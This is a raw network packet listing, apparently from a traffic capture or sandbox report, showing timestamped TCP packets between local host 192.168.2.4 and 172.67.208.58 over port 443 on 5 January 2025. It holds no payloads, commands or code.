Jan 5, 2025 19:50:29.043936968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.043972015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.043984890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.044476032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.044490099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.044548988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.044554949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.044691086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.045219898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.045234919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.045289040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.045295954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.045320988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.045340061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.046168089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.046210051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.046217918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.046225071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.046255112 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.062079906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062097073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062131882 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.062139034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062165976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.062320948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062335968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062366962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.062376022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062397957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.062623978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062637091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062678099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.062685013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.062710047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.101867914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.101882935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.101922035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.101934910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.101970911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.130002975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.130019903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.130063057 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.130074024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.130101919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.131309986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.131329060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.131362915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.131371021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.131397009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.131572008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.131586075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.131619930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.131629944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.131648064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.133089066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.133110046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.133150101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.133157969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.133173943 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.148890972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.148907900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149076939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.149084091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149156094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149175882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149205923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.149213076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149235010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.149465084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149481058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149506092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.149513006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.149528980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.188668013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.188683033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.188734055 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.188744068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.228981972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.228993893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229176044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.229182959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229291916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229305983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229347944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.229355097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229362965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229366064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.229399920 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.229404926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229603052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229623079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229655027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.229662895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.229687929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.235596895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.235614061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.235666037 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.235672951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.235886097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.235903025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.235941887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.235949039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.235960960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.236128092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.236140013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.236171961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.236191034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.236200094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.236447096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.236463070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.236515045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.236521959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.284594059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.315797091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.315813065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316066980 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316086054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.316095114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316119909 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.316158056 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.316266060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316281080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316313028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.316318989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316333055 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.316533089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316551924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316581011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.316586971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.316620111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.322635889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.322652102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.322689056 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.322695971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.322721004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.322907925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.322926998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.322964907 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.322971106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.322993994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.323179960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.323194027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.323225975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.323234081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.323246002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.323462963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.323482037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.323537111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.323544025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.378353119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.402745962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.402764082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.402833939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.402841091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.402987003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403043032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.403048038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403243065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403259039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403306961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.403317928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403450012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403464079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403495073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.403503895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403529882 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.403554916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.403815031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403830051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403863907 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.403871059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.403882980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.406121016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.409573078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.409586906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.409641981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.409648895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.409835100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.409854889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.409898996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.409905910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.409918070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.409945965 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.410172939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.410187006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.410222054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.410228014 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.414118052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.449512959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.449536085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.449640036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.449647903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.453931093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.489737034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.489753008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.489852905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.489860058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490022898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490044117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490075111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490082026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490106106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490130901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490299940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490314007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490355015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490360975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490386009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490413904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490585089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490603924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.490648031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.490654945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.494132042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.496417999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496433973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496494055 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.496500015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496684074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496705055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496742964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.496747971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496759892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.496792078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.496963024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.496978045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.497011900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.497018099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.497031927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.502099991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.536436081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.536453962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.536525965 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.536539078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.538130999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.576668024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.576683044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.576751947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.576759100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.576956987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.576980114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577023983 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.577029943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577049017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.577076912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.577357054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577373028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577421904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.577426910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577682972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577702999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577733040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.577739000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.577764988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.577791929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.583369017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583384991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583446026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.583452940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583635092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583656073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583690882 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.583697081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583722115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.583749056 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.583906889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583926916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.583972931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.583981991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.586112022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.623461008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.623497009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.623533964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.623543024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.623554945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.623577118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.663641930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.663657904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.663830042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.663837910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.663851023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.663883924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.663918972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.664232969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.664248943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.664297104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.664304018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.664438963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.664458990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.664488077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.664494991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.664520979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.670273066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670294046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670356989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.670366049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670522928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670543909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670579910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.670587063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670605898 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.670758963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670773029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670804024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.670810938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.670833111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.710244894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.710266113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.710302114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.710310936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.710340023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.750547886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.750565052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.750618935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.750631094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.750837088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.750857115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.750911951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.750919104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.750948906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.751116991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.751131058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.751163960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.751172066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.751187086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.751462936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.751482964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.751511097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.751518965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.751528978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.757162094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757178068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757234097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.757241964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757266045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.757471085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757497072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757524967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.757531881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757561922 CET	49746	443	192.168.2.4	172.67.208.58
